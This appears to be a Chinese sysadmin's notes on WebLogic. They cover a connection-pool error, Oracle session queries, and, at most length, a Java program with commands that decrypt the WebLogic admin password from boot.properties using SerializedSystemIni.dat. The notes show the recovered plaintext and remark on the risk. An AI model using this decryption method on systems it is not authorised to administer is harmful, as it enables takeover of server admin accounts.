weblogic 报错 please increase XXX,得知是连接池出了问题,查看weblogic配置,发现没有设置超时
查看oracle 当前session,可以看到连接的机器,用户,当前执行的sqlid
select * from v$session;
select v$sql where sql_id='xxx'
破解weblogic管理密码 1.创建一个单独的目录,例如c:\DecryptionDemo 2.创建一个Java文件Decrypt.java
import java.io.PrintStream; import weblogic.security.internal.*; import weblogic.security.internal.encryption.*; public class Decrypt{static EncryptionService es = null;static ClearOrEncryptedService ces = null;public static void main(String args[]){String s = null;if(args.length == 0)s = ServerAuthenticate.promptValue("Password:", false);elseif(args.length == 1)s = args[0];elseSystem.err.println("Usage: java Decrypt [ password ]");es = SerializedSystemIni.getExistingEncryptionService();if(es == null){System.err.println("Unable to initialize encryption service");return;}ces = new ClearOrEncryptedService(es);if(s != null)System.out.println("nDecrypted Password is:" + ces.decrypt(s));} }
3.运行相关命令解密位于 d: beauser_projectsdomains1034serversAdminServersecurityboot.properties 文件中的字符串 call D:beawlserver_10.3serverbinsetWLSEnv.cmd copy D:beauser_projectsdomains1034securitySerializedSystemIni.dat javac Decrypt.java java -cp .;%CLASSPATH% Decrypt {AES}QxP9vMIXw7g39iRfGNIZ76TOoHq= pause 此时可以看到密码原文为weblogic1,
安全隐患: 如果任何人知道您的domain的名称,那么他就可以创建一个相同名称的domain,来获得文件 SerializedSystemIni.dat 和boot.properties,然后就可以破解到原始的密码明文, 也许这是一个安全漏洞